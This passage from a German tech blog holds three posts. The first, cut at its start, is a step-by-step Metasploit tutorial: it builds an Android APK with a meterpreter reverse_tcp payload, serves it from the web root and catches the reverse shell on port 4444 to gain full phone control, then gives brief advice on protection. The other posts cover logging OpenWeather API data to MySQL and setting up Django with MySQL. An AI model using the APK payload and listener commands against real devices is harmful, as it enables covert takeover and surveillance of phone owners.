Ist dieser Punkt jedoch erlaubt und die App führt die Installation aus, werden die Berechtigungen abgefragt.

Erst nach Bestätigung dieser Berechtigungen, funktioniert der Hack. Das Smartphone ist somit infiziert und verbindet sich mit dem Hacker, der nun die Kontrolle hat.

Kali Linux

Mit ifconfig schauen wir nach der IP Adresse von Kali, die wir später noch benötigen. Erzeugt nun die .apk File für das Smartphone, die, sobald ausgeführt, eine reverse shell zum Angreifer(LHOST) herstellt. Mit > wird der Code in eine .apk geschrieben.

msfvenom -p android/meterpreter/reverse_tcp LHOST=<attacker address> LPORT=4444 R > /var/www/html/test.apk

LHOST muss mit der IP getauscht werden, die wir zuvor mit ifconfig ermittelt haben. Nun müssen wir Kali Linux einrichten, damit auf Port 4444 gelauscht wird. Zu diesem Port verbindet sich die .apk später vom Smartphone aus. Beim Ausführen der App, versucht diese sich mit dem Angreifer auf Port 4444 zu verbinden. Die apk lasse ich extra im html Verzeichnis erstellen, damit wir diese später einfach vom Smartphone aus abgreifen können. Auf dem Smartphone reicht dann ein ansurfen auf <attacker address>/test.apk und die Datei wird heruntergeladen.

In Kali starten wir unser Werkzeug mit

msfconsole

und suchen uns einen Exploit aus.

use exploit/multi/handler

Es fehlt noch ein Payload, den wir wie folgt laden

set payload android/meterpreter/reverse_tcp

Damit wir die Konfigurationsmöglichkeiten vom Payload erfahren, führen wir show options aus.

show options

Wir müssen LHOST mit der IP des Angreifers setzen, LHOST steht hierbei für [L]ocalHOST, also die Angreifer Maschine.

set LHOST <attacker address>

Die Konfiguration des Exploits wäre damit getan und wir führen ihn aus.

exploit

Der Port 4444 ist nun geöffnet und unser Exploit lauscht darauf. Dies können wir mit netstat überprüfen.

netstat -tapen | grep 4444

Ergibt dieser Befehl keine Rückmeldung, so ist etwas beim Starten des Exploits schief gelaufen.

Sobald das Opfer die App ausgeführt hat, öffnet sich eine reverse shell und wir(Angreifer) haben vollen Zugriff auf das Smartphone. Die reverse Shell kommuniziert dabei mit unserem Laptop auf Port 4444, den wir ja zuvor geöffnet hatten.

Mit dem help command lassen wir uns unterschiedlichste Möglichkeiten anzeigen. Von Kamera Überwachung bis hin zum SMS senden, ist dort alles vertreten.

 

Das Smartphone wäre somit in der Hand des Hackers, ohne dass der Benutzer es überhaupt großartig mitbekommen kann. Jedoch kann man sich hiervor schützen, in dem Installationen aus unbekannter Quelle per Default nicht erlaubt werden. Installationen aus dem Playstore sollten zu ~99.9% sicher sein. Ein weiterer Indiz ist die Masse an Berechtigung, die die APK verlangt. Eine App sollte nie mehr Berechtigung bekommen, als ihr eigentlicher Zweck ist.

Allgemein

openweather

Veröffentlicht am

Ich war auf der Suche nach einen kostenlosen Onlineservice um Wetterdaten via API abzugreifen. Ziel ist es, ein lokales Chart über das Wetter zu bekommen, welches über Jahre auswertbar ist. Mit den erworbenen Wetterdaten möchte ich vor allem die Windgeschwindigkeiten Vorort im Auge behalten. Fündig geworden bin ich bei Openweather. Um den Service und somit die API abzufragen, benötigt ihr ein Key. Dieser muss bei jeder Abfrage angegeben werden. Den Key erhält man bei der Registrierung im Portal. Ihr könnt dort ebenfalls zur kostenpflichtigen Version wechseln. Diese bietet gegenüber der Kostenfreien mehr Funktionen an. Für mich reicht die kostenlose Variante. Die Wetterdaten werden jede Stunde über die API abgefragt und bei mir lokal in eine Datenbank gespeichert.

Damit der http Request korrekt verläuft, muss unter anderem der vorher erlangte Key in jeder Abfrage verwendet werden.

http://api.openweathermap.org/data/2.5/weather?q=berlin,de&APPID=<key>

Dieser Request gibt ein JSON Packet als Response zurück, der wie folgt aussieht:

{"coord":{"lon":13.39,"lat":52.52},"weather":[{"id":803,"main":"Clouds","description":"broken clouds","icon":"04n"}],"base":"stations","main":{"temp":279,"feels_like":274.77,"temp_min":277.59,"temp_max":279.82,"pressure":1032,"humidity":75},"visibility":10000,"wind":{"speed":3.6,"deg":300},"clouds":{"all":75},"dt":1577818777,"sys":{"type":1,"id":1262,"country":"DE","sunrise":1577776641,"sunset":1577804447},"timezone":3600,"id":2950159,"name":"Berlin","cod":200}

Die Parameter sind sehr gut auf der Openweather Seite beschrieben. Um mehr darüber zu erfahren, folgt diesen Link:
https://openweathermap.org/weather-data

Nur das JSON Packet alleine reicht natürlich nicht. Es muss ein komplettes Grundgerüst, bestehend aus Datenbank und Code der die Abfrage triggert, aufgebaut werden.

Datenbank Schema

Das Datenbank Schema, welches zurzeit existiert, ist relativ simple aufgebaut. Es besteht aus 3 Tabellen, eine für die Wetterdaten und die anderen beiden dienen zum Erstellen des Requests.

use Weather;

SET FOREIGN_KEY_CHECKS = 0;

DROP TABLE IF EXISTS CUR_WEATHER;
DROP TABLE IF EXISTS WEA_OPENWEATHER;
DROP TABLE IF EXISTS WEA_CITY;

SET FOREIGN_KEY_CHECKS = 1;

CREATE TABLE IF NOT EXISTS WEA_CITY(
  ID int(10) NOT NULL,
  CITY_NAME varchar(100) NOT NULL,
  PRIMARY KEY(ID)
);

CREATE TABLE IF NOT EXISTS CUR_WEATHER(
  ID int(14) NOT NULL auto_increment,
  C_LON decimal(5,2) NOT NULL,
  C_LAT decimal(5,2) NOT NULL,
  W_MAIN varchar(50) NOT NULL,
  W_DESCRIPTION varchar(100) NOT NULL,
  W_ICON varchar(50) NOT NULL,
  M_TEMP decimal(4,2) NOT NULL,
  M_PRESSURE decimal(7,2) NOT NULL,
  M_HUMIDITY decimal(7,2) NOT NULL,
  M_TEMP_MIN decimal(7,2) NOT NULL,
  W_SPEED decimal(4,2) NOT NULL,
  W_DEG decimal(5,2) NOT NULL,
  RAIN_3H decimal(5,2),
  CLOUDINESS decimal(5,2) NOT NULL,
  DT_TIMESTAMP datetime NOT NULL,
  SYS_COUNTRY varchar(4) NOT NULL,
  SYS_SUNRISE datetime NOT NULL,
  SYS_SUNSET datetime NOT NULL,
  TIMEZONE int(15) NOT NULL,
  CITY_ID int(10) NOT NULL,
  CREATED_AT datetime NOT NULL,
  PRIMARY KEY(ID),
  FOREIGN KEY(CITY_ID) REFERENCES WEA_CITY(ID)
);

CREATE TABLE IF NOT EXISTS WEA_OPENWEATHER(
  ID int(5) NOT NULL auto_increment,
  QUERY varchar(500) NOT NULL,
  CITY_ID int(10) NOT NULL,
  PRIMARY KEY(ID)
);

Shell Code

Der Shell Code ist dafür verantwortlich, dass das Python Script angestoßen wird und somit die Wetterdaten in die Datenbank landen.
Dabei wird der Code als Cronjob ausgeführt und jede Stunde getriggert. Die Ausgabe wird dabei in die Weather.log gepiped.

#!/bin/bash

echo "`date +%d.%m.%y\ %T` ===weather cronjob execution==== " >> /var/log/Weather.log
python3 ~/Projekte/Weather/WEATHER.py >> /var/log/Weather.log

exit

Python Code

Die benötigten Pakete für Python habe ich über pip3 installiert:

apt install python3-pip
pip3 install requests
pip3 install mysql-connector-python
pip3 install termcolor
pip3 install python-dateutil

Der Python Code versucht zuerst die benötigten Module zu laden und springt in eine Exception, sobald eins davon nicht vorhanden ist. Verwendet wird hier ebenfalls die von mir erstellte Datenbank Klasse PDB, welche ich in diesem Artikel beschrieben habe. Nach dem die Module geladen sind, folgt die Abfrage gegen die Datenbank, um die erforderliche Query für die Openweather API zu erhalten.  In die Variable response wird das JSON Objekt geschrieben, welches später mittels json.loads in WeatherVar geschrieben wird. Danach wird mi DB.QueryInsert ein neuer Eintrag in der Datenbank erzeugt und die Verbindung wieder geschlossen.

try:
        import json
        import requests
        import PDB
        from termcolor import colored
        from datetime import datetime
except:
        print("Python could not load all required modules")
        sys.exit(1)


DB=OpenweatherQuery=response=WeatherVar = None

if DB is None:
        DB = PDB.databaseconnection('localhost','user','password','Weather')

DB.Connect()

if OpenweatherQuery is None:
        OpenweatherQuery = DB.QuerySelect("select QUERY from WEA_OPENWEATHER where CITY_ID = 6552907", None,False)

try:
        if response is None:
                response = requests.get(OpenweatherQuery[0][0])

except requests.exceptions.RequestException as e:
        print(e)
        sys.exit(1)

print(colored("[I] + " + OpenweatherQuery[0][0],"green"))
print(colored("[I] + " + response.text,"green"))

if WeatherVar is None:
        WeatherVar = json.loads(response.text)

if not DB.QueryInsert("insert CUR_WEATHER(%s) VALUES(%s)",{"C_LON":WeatherVar["coord"]["lon"],"C_LAT":WeatherVar["coord"]["lat"],"W_MAIN":WeatherVar["weather"][0]["main"],"W_DESCRIPTION":WeatherVar["weather"][0]["description"],"W_ICON":WeatherVar["weather"][0]["icon"],"M_TEMP":float(WeatherVar["main"]["temp"]) - 273.15,"M_PRESSURE":WeatherVar["main"]["pressure"],"M_HUMIDITY":WeatherVar["main"]["humidity"],"M_TEMP_MIN":float(WeatherVar["main"]["temp_min"]) -273.15,"W_SPEED":float(WeatherVar["wind"]["speed"]) * 3.6,"W_DEG":WeatherVar["wind"]["deg"],"RAIN_3H":"0","CLOUDINESS":WeatherVar["clouds"]["all"],"DT_TIMESTAMP":datetime.utcfromtimestamp(WeatherVar["dt"]).strftime('%Y-%m-%d %H:%M:%S'),"SYS_COUNTRY":WeatherVar["sys"]["country"],"SYS_SUNRISE":datetime.utcfromtimestamp(WeatherVar["sys"]["sunrise"]).strftime('%Y-%m-%d %H:%M:%S'),"SYS_SUNSET":datetime.utcfromtimestamp(WeatherVar["sys"]["sunset"]).strftime('%Y-%m-%d %H:%M:%S'),"TIMEZONE":WeatherVar["timezone"],"CITY_ID":WeatherVar["id"],"CREATED_AT":str(datetime.now())}, True):
        print("Insert query went wrong for some reason, See Error")

DB.Disconnect()

 

Allgemein

Django mit Mysql Datenbank

Veröffentlicht am

Django

Django benötigt für das Model Prinzip eine eigene Datenbank. Standardmäßig hat es die SQLite Datenbank mit am Board , jedoch kann die Datenbank auch auf eine besser skalierbare Datenbank wie PostgreSQL, MySQL oder Oracle laufen.
Ich habe mich gegen die SQLite Version und für die MySQL Datenbank entschieden, daher gehe ich in diesem Beitrag auf die MySQL Integrierung ein. SQLite sollte unter keinen Umständen in einer produktiv Umgebung genutzt werden!

Um Mysql verwenden zu können, benötigen wir ein DB API Treiber wie mysqlclient. Mysqlclient ist ebenfalls die bevorzugte Wahl von Django. Die dazugehörige Dokumentation von Django kann unter dem Tutorial Part2 gefunden werden. Hier wird explizit auf die Integration der Datenbank eingegangen, wie eine anderen Datenbank Version verwendet werden kann und wie Models erzeugt und behandelt werden.

Den Link zum Tutorial findet ihr hier: https://docs.djangoproject.com/en/2.2/intro/tutorial02/

Um die DB API einrichten zu können, müssen einige Abhängigkeiten installiert werden:

sudo apt-get install python3-dev default-libmysqlclient-dev

gefolgt von dem eigentlichen mysqlclient Paket, welches mit pip installiert wird

pip3 install mysqlclient

Nach der Installation kann die Datenbank, mit den MySQL Utilities, eingerichtet werden.

CREATE DATABASE <dbname> CHARACTER SET utf8;

Auch der Datenbank User sollte nur Berechtigungen auf die für Django bereitgestellte Datenbank haben. Dafür bedienen wir uns bei dem grant Befehl von mysql.

GRANT ALL PRIVILEGES ON <database_name>.* TO '<username>'@'localhost';

Die Django Settings müssen für die MySQL Benutzung angepasst und bearbeitet werden. Dafür müssen wir die Settings.py vom Django-Projekt öffnen und wie unten angegeben, abändern.

# settings.py
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'OPTIONS': {
            'read_default_file': '/path/to/my.cnf',
        },
    }
}

Die my.cnf Datei beinhaltet die Zugangsdaten für die Datenbank,  um eine Verbindung mit der Datenbank herzustellen.

# my.cnf
[client]	
database = NAME
user = USER
password = PASSWORD
default-character-set = utf8

Für jede installierte App in Settings.py, auch wenn es die Standardapps von Django sind, wird eine eigene Tabelle erstellt. Nachdem die API und die Einstellungen angepasst worden sind, kann die eigentliche Django Migration gestartet werden.

sudo python3 manage.py migrate

Die migrate Funktion schaut in der Settings.py nach allen installierten Apps und erstellt eine Tabelle in der Datenbank. Dieser Befehl sollte ohne Unterbrechung durchlaufen.

MySQL ist nach erfolgreicher Migrierung die Hauptdatenbank.